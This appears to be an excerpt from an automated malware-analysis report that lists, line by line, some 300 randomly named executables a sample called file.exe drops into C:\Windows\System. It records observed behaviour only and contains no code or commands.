Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xVIixqx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JCZRmvQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sHbEZkY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rVmcjTa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\aIuDozC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DtVOaSb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RCVCpIi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vyHGCnK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IEswIyo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IjDqKMU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iEDLgeS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\qmcblFN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZCyEzte.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ztQluWW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vixYnHG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PPOtBBY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZohDODH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tyXEsEa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FUwHkXo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AbenojY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mlhNNPN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pMaKiZu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BMxbfij.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\OVdNTki.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NVxCwjX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FHjAcHx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\glgdLrR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jtnQpnb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pbwrbNh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HbWODob.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WVsCsMZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FgBtrMU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TBNKhIN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TQUlNhY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\izzcVgF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mbSqRHL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lyMiIxb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\veVfAiw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HVhldsH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZPBkGsL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZXNyiNu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sGYPztO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eIXgzbs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FGSooXz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\yzVBTwc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\chBMsUn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EDndQMl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uxMRJKa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\OyxgWny.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fhxlOMT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bxBimDh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mPNsbfH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WZkiNdG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nkFLDPI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\yolnOnG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SUucMiy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\aFpkhGM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AOSuUmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DNhkeWm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\svRRwoZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nKUJunm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HuKkgJY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mBbgLGb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DCqXTox.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PbUiiSM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VsobEcA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CVYvaQs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\KeLPRxW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tWOQBIk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mshbGSl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ccbrmxM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sJZigTD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WvowvSL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BnLcQMe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wkazDeV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mdMaqgD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rTpsbWr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cBoEBlV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NqPZXyD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dbgHMyC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cyvijMt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ykZgpGK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UqXZtcb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YIjJOqk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JqFVNbS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wNVvJxX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\oCLXTVT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dPvMBBP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WCbcoxD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CoTJSDT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wnWUbPS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZFvVqBc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VjXLpYb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lVudyTV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WdIXuil.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DBfMBcY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iYYYydA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XbARtow.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vKoIcLB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xAngvPh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wPprRzW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xyokMuX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ckHJCFb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\imwRXsl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\kPkYoOt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FlmGZHf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pnGqAlS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HHsWpNX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LFQLRaY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ghXRScL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VHwkuIa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HjdahEF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pMMnfcQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\aFbtfKK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hzIYZSD.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QqSzknx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LTWTGcY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LLELsGo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eIthybV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LCScugy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eaXsKmO.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UQPgIol.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NrRaZIJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DTVvNoy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\lBrohsB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hyzwXgh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sdTevgk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\skgGGJN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nJZyUBH.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ucDGEkw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AXEGSHs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JdmbeCb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hMvDOJd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\nWSykjl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pGmaKvE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EENzfBP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QrBMIBp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NDapyRM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CGpcHNw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pBTelAj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\GoSpvOG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bsgTRXG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tJmWuwF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jmSIZKC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\OgBLDNx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\yuTigyc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dMXkTWG.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cVpmxhg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mByREeI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rtBLYbw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EzVUaNc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EZbURBQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\geBTNDq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TVNHEGY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PjowoJp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bzSbRdi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FoekgWP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sDLqeeh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bFsdWPU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WvkREuJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\aBqatWR.exe	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\kYjPKaN.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RcAqfwv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PaGFrFU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\OpMgkKg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MydOwjq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HKdVaSy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\FgiIXgf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NyhRMmW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rgBmwKj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\QdDnaqt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BpqsHCR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gKbbPbF.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\kFAVWnk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\roZGxps.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SAfbgcC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XWzPvUm.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wkIkkhX.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UQkDiSP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\AQSffhY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uRBSbtU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YYCxOQh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rYIlnZs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XZxtJFw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\dCnJkoQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BwBweqn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\pzbELEW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\qdErmhf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\rQJmlSe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\qQyXqOp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fIqTNJz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WlVmTit.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xAzCYwU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eXUokzg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IpqVIyY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\oUGjnOU.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sabRErB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BwjWQVv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\snZBbmy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\eVVPPqR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\KEULPTl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mgbtojr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UmvuxvA.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\Uvtpjkd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\NLJeLdM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ORmCcsC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xneUGSK.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\KVgdAzq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jYFqRXp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\XAgYYqB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WTLAzgJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\whRtinB.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wHnuprt.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mXElbHo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VgNRTsd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DbVBXPi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uaJCfvY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jAqlPqL.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JKpmIVS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wibjUVa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\oxCQuSo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\GmNUXAr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\IofoOIp.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\CWLRJYu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HnTfvAZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\delwiax.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EkcZQPq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fylerHE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VFkciqc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fpHmIIc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\vUKZkjM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\yXkrKHV.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VwIvzCk.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VdwdSnC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fyffsXe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\TscCBWf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iHSYLud.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wJZTVhW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\gCZFmUf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\JUxucoT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YFzrUDj.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\bpCJdvZ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\VGaSwYr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UlGsoAn.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uSdaSKW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YHgRCCe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\YnfMwga.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\UExJWUr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PLFTiIe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\EMuPVcI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xIpouRJ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wpjxcMS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\LOvnxUx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\wCJLXKb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sXBohAC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ABievJY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PrFZfUv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MKAkyBP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mKdsHiQ.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BNgUfBr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\WLWcTVM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ukkpYme.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\hEUEsIC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\mWAGJFM.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\cLSDHvv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\Csmwgyb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\uHZGZjz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\jzfTIlb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sOpjlAo.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\fWWVlTg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\PZXDYlu.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\DTREvJC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\HeXCeXe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\BtXtEfY.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\sOGcIfs.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\SNcreuq.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\tRGqWXW.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\iIwdGAS.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\RlLCkUy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\caYiRYR.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\otCfESI.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\MLxwqET.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\xNhRSWh.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Windows\System\ZTSJHKb.exe	Jump to dropped file
